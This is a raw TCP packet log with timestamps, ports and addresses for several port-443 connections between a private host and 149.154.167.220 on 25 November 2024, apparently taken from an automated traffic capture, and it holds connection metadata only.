Nov 25, 2024 13:41:03.017369032 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.017823935 CET	443	49958	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:03.017893076 CET	443	49958	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:03.018043041 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.018129110 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.018138885 CET	443	49958	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:03.018150091 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.018196106 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.018234015 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.018266916 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.018301964 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.018332958 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.018341064 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.018349886 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.055335999 CET	443	49958	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:03.055407047 CET	443	49958	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:03.055558920 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.055584908 CET	443	49958	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:03.055691957 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.055705070 CET	443	49958	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:03.055808067 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.055847883 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.055923939 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.055975914 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.056030035 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.056051970 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.056169033 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.056183100 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.099343061 CET	443	49958	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:03.125322104 CET	443	49958	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:03.125497103 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.125521898 CET	443	49958	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:03.125633955 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:03.126574039 CET	443	49958	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:03.126646996 CET	443	49958	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:03.129158020 CET	443	49958	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:03.132059097 CET	443	49958	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:07.205302000 CET	443	49958	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:07.205363989 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:07.205383062 CET	443	49958	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:07.205421925 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:07.205429077 CET	443	49958	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:07.205440044 CET	443	49958	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:07.205465078 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:07.205481052 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:07.205787897 CET	49958	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:07.205802917 CET	443	49958	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:07.308974981 CET	49972	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:07.309015989 CET	443	49972	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:07.309082031 CET	49972	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:07.309400082 CET	49972	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:07.309417009 CET	443	49972	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:08.670114994 CET	443	49972	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:08.670222998 CET	49972	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:08.670684099 CET	49972	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:08.670696020 CET	443	49972	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:08.670955896 CET	49972	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:08.670962095 CET	443	49972	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:08.671029091 CET	49972	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:08.671034098 CET	443	49972	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:09.619451046 CET	443	49972	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:09.619520903 CET	443	49972	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:09.619540930 CET	49972	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:09.619576931 CET	49972	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:09.619884014 CET	49972	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:09.619901896 CET	443	49972	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:11.230561972 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:11.230623960 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:11.230748892 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:11.231017113 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:11.231030941 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.669568062 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.669706106 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.670296907 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.670310974 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.670588017 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.670593977 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.670831919 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.670850039 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.670952082 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.670975924 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.671062946 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671089888 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.671160936 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671175003 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.671186924 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671191931 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.671211958 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671216965 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.671292067 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671303988 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.671330929 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671334982 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.671500921 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671509027 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.671526909 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671536922 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.671585083 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671597004 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.671637058 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671648979 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.671655893 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671663046 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.671688080 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671694994 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.671714067 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671725988 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.671742916 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671746969 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.671760082 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671770096 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.671832085 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671847105 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.671853065 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671889067 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671900988 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.671921015 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671931982 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.671988964 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.671998978 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.672029972 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.672046900 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.672066927 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.672079086 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.672117949 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.672131062 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.672174931 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.672215939 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.672228098 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.672314882 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.672379971 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.672427893 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.715328932 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.715661049 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.715740919 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.715812922 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.715888977 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.715992928 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.763335943 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.763622999 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.763809919 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.763895035 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.763953924 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.763989925 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.764046907 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.807357073 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.807578087 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.807698965 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.807750940 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.807775021 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.807904005 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.807939053 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.851373911 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.851794004 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.851871014 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.851944923 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.851995945 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.852067947 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.895360947 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.895667076 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.895790100 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.895967007 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.895982027 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.896001101 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.896039963 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.896081924 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.913192034 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.913523912 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.913542986 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.913696051 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.913825989 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.914014101 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.914020061 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.914179087 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.914238930 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.959337950 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:12.959644079 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.959681034 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.959729910 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.959810019 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:12.959861040 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.003372908 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.003654957 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.003732920 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.003968000 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.004049063 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.004103899 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.004173040 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.035346031 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.035583973 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.035602093 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.035628080 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.035650969 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.035789013 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.035798073 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.035887957 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.035933018 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.036066055 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.036094904 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.036158085 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.036201954 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.083334923 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.083584070 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.083604097 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.083615065 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.083672047 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.083714962 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.083739996 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.131341934 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.131788015 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.131877899 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.131928921 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.131973982 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.132023096 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.152662039 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.152812004 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.152936935 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.152954102 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.152980089 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.153062105 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.153090000 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.153337002 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.153420925 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.153465033 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.154927969 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.155076981 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.155091047 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.155141115 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.155153990 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.155194044 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.155205965 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.155255079 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.155323029 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.155329943 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.155466080 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.155527115 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.155586958 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.188920021 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.189117908 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.189217091 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.189273119 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.189320087 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.189379930 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.189440012 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.235337019 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.235686064 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.235996962 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.236087084 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.236159086 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.236201048 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.236247063 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.276796103 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.276932001 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.277129889 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.277160883 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.277221918 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.277282000 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.277297974 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.277580976 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.277667999 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.277723074 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.278134108 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.278253078 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.278266907 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.278316975 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.278328896 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.278388023 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.278400898 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.278441906 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.278496981 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.278515100 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.278637886 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.278692007 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.278734922 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.279284954 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.279412985 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.279426098 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.279480934 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.279488087 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.279553890 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.279567003 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.279603004 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.279678106 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.279692888 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.279829979 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.279886961 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.279942989 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.280297995 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.280437946 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.280451059 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.280494928 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.280507088 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.280551910 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.280617952 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.280663967 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.280674934 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.280801058 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.280862093 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.327331066 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.327698946 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.327903986 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.327999115 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.328098059 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.328196049 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.375340939 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.375631094 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.419346094 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.484011889 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.484149933 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.484298944 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.484358072 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.493098021 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.493335009 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.493372917 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.493415117 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.493443966 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.493459940 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.493488073 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.493510008 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.493557930 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.493583918 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.493592024 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.493777990 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.493818998 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.493865967 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.493906975 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.493941069 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.493988991 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.493998051 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.494025946 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.494055986 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.494071960 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.525019884 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.525183916 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.525352955 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.525391102 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.525409937 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.525425911 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.525479078 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.525523901 CET	49983	443	192.168.2.6	149.154.167.220
